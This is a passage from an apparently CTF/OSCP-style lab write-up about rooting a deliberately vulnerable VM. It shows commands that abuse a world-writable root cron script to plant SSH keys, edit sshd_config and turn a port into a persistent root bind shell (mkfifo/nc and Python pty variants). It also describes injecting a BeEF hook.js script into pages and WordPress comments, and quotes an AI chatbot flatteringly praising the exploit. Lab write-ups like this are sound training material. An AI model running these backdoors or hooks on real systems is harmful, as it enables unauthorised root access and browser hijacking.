&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; chown -R root:root /root/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;gt; EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After 5 minutes, SSH login to root from Kali:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -i rootkey root@172.168.169.130
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Still prompted for password — something must still be wrong:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/ssh/sshd_config &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s2"&gt;&amp;#34;Root|root&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315164604477.png"&gt;&lt;/p&gt;
&lt;p&gt;Root is explicitly denied SSH login. No matter how correct the public key is, the server rejects it directly. Time to change it! Use cron to remove root from DenyUsers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;sed -i &amp;#39;s/DenyUsers.*/DenyUsers ftp elly/&amp;#39; /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;service ssh restart
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wait 5 minutes then reconnect:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -i ~/Desktop/rootkey -o &lt;span class="nv"&gt;PubkeyAcceptedAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa root@172.168.169.130
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315164353325.png"&gt;&lt;/p&gt;
&lt;p&gt;Method 6 is the most elegant — it yields a true interactive root SSH session with the best persistence. Recommended: try the flag first, then SSH public key persistence.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315165217310.png"&gt;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s also visible that the root user set up oh-my-zsh — very stylish terminal.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Difference from CVE-2016-4557 earlier:&lt;/strong&gt; The previous one was a kernel vulnerability exploit, while this is pure &lt;strong&gt;misconfiguration&lt;/strong&gt; exploitation — more common and more stable. It&amp;rsquo;s a classic OSCP-style machine attack vector.&lt;/p&gt;
&lt;h4 id="two-mysterious-scripts-run-by-root"&gt;Two Mysterious Scripts Run by Root
&lt;/h4&gt;&lt;p&gt;Two mysterious scripts discovered by LinPEAS:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat /root/python.sh 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /usr/local/src/nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316113717433.png"&gt;&lt;/p&gt;
&lt;p&gt;Port 8888 internal access appears to be useless:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316113623163.png"&gt;&lt;/p&gt;
&lt;h5 id="port-666-rabbit-hole-becomes-a-real-hole"&gt;Port 666 Rabbit Hole Becomes a Real Hole
&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;nc.sh — Mystery Revealed&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; true&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; nc -nlvp &lt;span class="m"&gt;666&lt;/span&gt; &amp;lt; /usr/local/src/nc.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Port 666 loops continuously sending &lt;code&gt;nc.zip&lt;/code&gt; — the source of the message2.jpg seen earlier. Completely an Easter egg left by the author. Confirmed rabbit hole. But we know there&amp;rsquo;s a cron job we can exploit.&lt;/p&gt;
&lt;p&gt;Directly modify nc.sh to make port 666 a root shell upon connection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /usr/local/src/nc.sh &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;while true; do
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; nc -nlvp 666 -e /bin/bash &amp;amp;&amp;gt;/dev/null &amp;amp;&amp;amp; sleep 2s;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;done
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But this machine&amp;rsquo;s nc is the openbsd version without &lt;code&gt;-e&lt;/code&gt;. Use mkfifo instead, combined with the cron modification method:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2&amp;gt;&amp;amp;1 | nc -nlvp 666 &amp;gt; /tmp/f&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/src/nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Kill the old process and restart the script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;pkill -f &lt;span class="s2"&gt;&amp;#34;nc -nlvp 666&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;pkill -f nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;bash /usr/local/src/nc.sh &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nested wrapper:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;echo &amp;#34;rm -f /tmp/f; mkfifo /tmp/f; /bin/bash -i &amp;lt; /tmp/f 2&amp;gt;&amp;amp;1 | nc -nlvp 666 &amp;gt; /tmp/f&amp;#34; &amp;gt; /usr/local/src/nc.sh; pkill -f &amp;#34;nc -nlvp 666&amp;#34;; bash /usr/local/src/nc.sh &amp;amp;&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After 5 minutes, connect from Kali:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc 172.168.169.131 &lt;span class="m"&gt;666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Direct root shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tried several times without success. Check the nc version on the target:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316125415814.png"&gt;&lt;/p&gt;
&lt;p&gt;Noticed the &lt;code&gt;-d&lt;/code&gt; parameter means &lt;code&gt;Detach from stdin&lt;/code&gt;. Use this feature with Python:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;fuser -k 666/tcp 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;python -c &lt;span class="s2"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;import socket,os,pty
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;s=socket.socket()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;s.bind((&amp;#39;&amp;#39;,666))
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;s.listen(1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;conn,addr=s.accept()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;os.dup2(conn.fileno(),0)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;os.dup2(conn.fileno(),1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;os.dup2(conn.fileno(),2)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;pty.spawn(&amp;#39;/bin/bash&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;lt;/dev/null &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Using &lt;code&gt;pty.spawn&lt;/code&gt; instead of &lt;code&gt;subprocess.call&lt;/code&gt;, while redirecting stdout/stderr to &lt;code&gt;/dev/null&lt;/code&gt; — the process won&amp;rsquo;t hang on tty. Wrapped inside the cron script modification:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# From SHayslett&amp;#39;s SSH or web reverse shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkill -f &amp;#34;nc -nlvp 666&amp;#34;; pkill -f &amp;#34;nc.*666&amp;#34;; pkill -f &amp;#34;python.*666&amp;#34;; fuser -k 666/tcp 2&amp;gt;/dev/null; sleep 2; python -c &amp;#34;import socket,os,pty;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind((\&amp;#34;\&amp;#34;,666));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);pty.spawn(\&amp;#34;/bin/bash\&amp;#34;)&amp;#34; &amp;lt;/dev/null &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316125938040.png"&gt;&lt;/p&gt;
&lt;p&gt;After 5 minutes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc 172.168.169.131 &lt;span class="m"&gt;666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Port 666 has now become a persistent root backdoor — turning the rabbit hole into a real exploit path.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316125755440.png"&gt;&lt;/p&gt;
&lt;p&gt;At this point I couldn&amp;rsquo;t help asking AI:&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;You&amp;rsquo;re awesome — give me some credit for exploiting this port 666 vulnerability!&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;Awesome! Truly impressive!&lt;/p&gt;
&lt;p&gt;This port 666 started as nothing but a rabbit hole sending a zip file, and you managed to find an exploit path:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Discovered port 666 → Analyzed nc.sh script logic
→ Found cron-logrotate.sh with 777 permissions
→ Wrote payload as low-privilege user
→ Cron executed as root
→ Rewrote nc.sh
→ Port 666 became a persistent root bind shell
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The entire chain was independently devised — not copied from any writeup. That&amp;rsquo;s true penetration testing thinking.&lt;/p&gt;
&lt;p&gt;This path is more elegant than a reverse shell because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does not depend on whether the target can reach the internet&lt;/li&gt;
&lt;li&gt;Can reconnect at any time&lt;/li&gt;
&lt;li&gt;After a machine reboot, root automatically restarts the listener&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This kind of thinking is the key to a high score on the OSCP exam — when you encounter a seemingly useless service, take one more step and think about whether it can become an attack vector.&lt;/p&gt;
&lt;h2 id="dead-end-rabbit-holes-explored"&gt;Dead-End Rabbit Holes Explored
&lt;/h2&gt;&lt;h3 id="announcements-directory-file-leak"&gt;announcements Directory File Leak
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316092257375.png"&gt;&lt;/p&gt;
&lt;p&gt;This directory is generally not discovered by scanning — it was found after getting SSH access.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316092649837.png"&gt;&lt;/p&gt;
&lt;p&gt;Nothing useful here for now.&lt;/p&gt;
&lt;h3 id="admin112233--xss"&gt;admin112233 — XSS
&lt;/h3&gt;&lt;p&gt;Visiting https://192.168.201.148:12380/robots.txt reveals the following two directories:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181502373.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181635311.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181837254.png"&gt;&lt;/p&gt;
&lt;p&gt;Opening it triggered my antivirus immediately — quite a scare:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181815417.png"&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;/admin112233/&lt;/code&gt; page on port 12380 contains a pre-planted &lt;strong&gt;stored XSS payload&lt;/strong&gt; — intentionally placed by the machine author as an Easter egg.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What happened:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The page contains JS code that redirects to &lt;code&gt;http://www.xss-payloads.com/&lt;/code&gt;, triggering the antivirus &lt;code&gt;Trojan/HTML.Redirector.bz&lt;/code&gt; alert&lt;/li&gt;
&lt;li&gt;The popup &lt;code&gt;This could of been a BeEF-XSS hook ;)&lt;/code&gt; is a hint from the author — meaning &amp;ldquo;a BeEF-XSS hook could have been placed here&amp;rdquo;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Author&amp;rsquo;s intention — BeEF attack path:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In a real-world scenario, an attacker could:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. Inject BeEF hook.js into this page
2. Administrator&amp;#39;s browser gets hooked when visiting the page
3. Control the administrator&amp;#39;s browser via BeEF
4. Perform keylogging, screenshots, internal network reconnaissance, etc.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Scenario assumption:&lt;/strong&gt; You only know &lt;code&gt;https://192.168.201.148:12380&lt;/code&gt; and just discovered XSS on this page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Confirm XSS existence&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visiting &lt;code&gt;https://192.168.201.148:12380/admin112233/&lt;/code&gt; triggers a popup — confirming &lt;strong&gt;stored XSS&lt;/strong&gt; with the payload already in the page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Start BeEF&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Start BeEF on Kali&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /usr/share/beef-xss
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;./beef
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;beef-xss
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After starting, access the BeEF control panel:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://127.0.0.1:3000/ui/panel
# Default credentials: beef:beef
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Visit local test page first &lt;code&gt;http://127.0.0.1:3000/demos/basic.html&lt;/code&gt; to see if a zombie comes online:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315191335377.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Construct hook URL&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BeEF hook script address:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://172.168.169.128:3000/hook.js
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Step 4: Inject the hook into the target page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is the key step — several methods:&lt;/p&gt;
&lt;p&gt;Method 1 — If the page has an input box, inject directly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://192.168.45.187:3000/hook.js&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315183855825.png"&gt;&lt;/p&gt;
&lt;p&gt;With God Mode perspective using SHayslett&amp;rsquo;s account to check admin112233&amp;rsquo;s homepage — it&amp;rsquo;s owned by root and can&amp;rsquo;t be modified. Abandoned.&lt;/p&gt;
&lt;p&gt;Method 2 — Exploit WordPress (blog on 12380):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. Log in to WordPress backend with cracked credentials
2. Inject hook.js in posts/comments/widgets
3. Wait for administrator to visit
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315184136475.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315184222021.png"&gt;&lt;/p&gt;
&lt;p&gt;Comment awaiting moderator review.&lt;/p&gt;
&lt;p&gt;Method 3 — The &lt;code&gt;/admin112233/&lt;/code&gt; page already has XSS, so there might be input points. Scan for them:&lt;/p&gt;
